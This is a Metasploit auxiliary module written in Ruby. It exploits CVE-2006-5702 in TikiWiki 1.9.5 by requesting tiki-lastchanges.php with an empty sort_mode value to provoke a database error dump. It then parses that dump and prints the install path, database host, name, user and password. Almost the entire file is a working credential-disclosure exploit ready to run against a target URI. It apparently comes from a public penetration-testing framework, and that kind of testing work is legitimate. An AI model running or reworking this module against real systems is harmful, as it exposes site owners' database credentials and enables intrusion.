##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'TikiWiki Information Disclosure',
      'Description'    => %q{
          A vulnerability has been reported in Tikiwiki, which can be exploited by
        a anonymous user to dump the MySQL user & passwd just by creating a mysql
        error with the "sort_mode" var.

        The vulnerability was reported in Tikiwiki version 1.9.5.
      },
      'Author'         => [ 'Matteo Cantoni <goony[at]nothink.org>' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['OSVDB', '30172'],
          ['BID', '20858'],
          ['CVE', '2006-5702'],
          ['URL', 'http://secunia.com/advisories/22678/'],
        ],
      'DisclosureDate' => 'Nov 1 2006',
      'Actions'        =>
        [
          ['Download']
        ],
      'DefaultAction'  => 'Download'
      ))

    register_options(
      [
        OptString.new('URI', [true, "TikiWiki directory path", "/tikiwiki"]),
      ], self.class)
  end

  def run
    print_status("Establishing a connection to the target...")

    uri = normalize_uri(datastore['URI'], '/tiki-lastchanges.php')
    rpath = uri + "?days=1&offset=0&sort_mode="

    res = send_request_raw({
      'uri'     => rpath,
      'method'  => 'GET',
      'headers' =>
      {
        'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
        'Connection' => 'Close',
      }
    }, 25)

    if (res and res.message == "OK")
      print_status("Get informations about database...")

      n = 0
      c = 0

      # puts "body is #{res.body.length} bytes"
      infos = res.body.split(/\r?\n/)
      infos.each do |row|
        # puts row.inspect
        if (c < 6)
          if (row.match(/\["file"\]=>/))
            c+=1
            x = n + 1
            y = infos[x].match(/string\(\d+\) "(.*)"/m)
            print_status("Install path : #{y[1]}")
          end
          if (row.match(/\["databaseType"\]=>/))
            c+=1
            x = n + 1
            y = infos[x].match(/string\(\d+\) "(.*)"/m)
            print_status("DB type      : #{y[1]}")
          end
          if (row.match(/\["database"\]=>/))
            c+=1
            x = n + 1
            y = infos[x].match(/string\(\d+\) "(.*)"/m)
            print_status("DB name      : #{y[1]}")
          end
          if (row.match(/\["host"\]=>/))
            c+=1
            x = n + 1
            y = infos[x].match(/string\(\d+\) "(.*)"/m)
            print_status("DB host      : #{y[1]}")
          end
          if (row.match(/\["user"\]=>/))
            c+=1
            x = n + 1
            y = infos[x].match(/string\(\d+\) "(.*)"/m)
            print_status("DB user      : #{y[1]}")
          end
          if (row.match(/\["password"\]=>/))
            c+=1
            x = n + 1
            y = infos[x].match(/string\(\d+\) "(.*)"/m)
            print_status("DB password  : #{y[1]}")
          end
          n+=1
        end
      end

      if (c == 0)
        print_status("Could not obtain informations about database.")
      end

    else
      print_status("No response from the server.")
    end
  end
end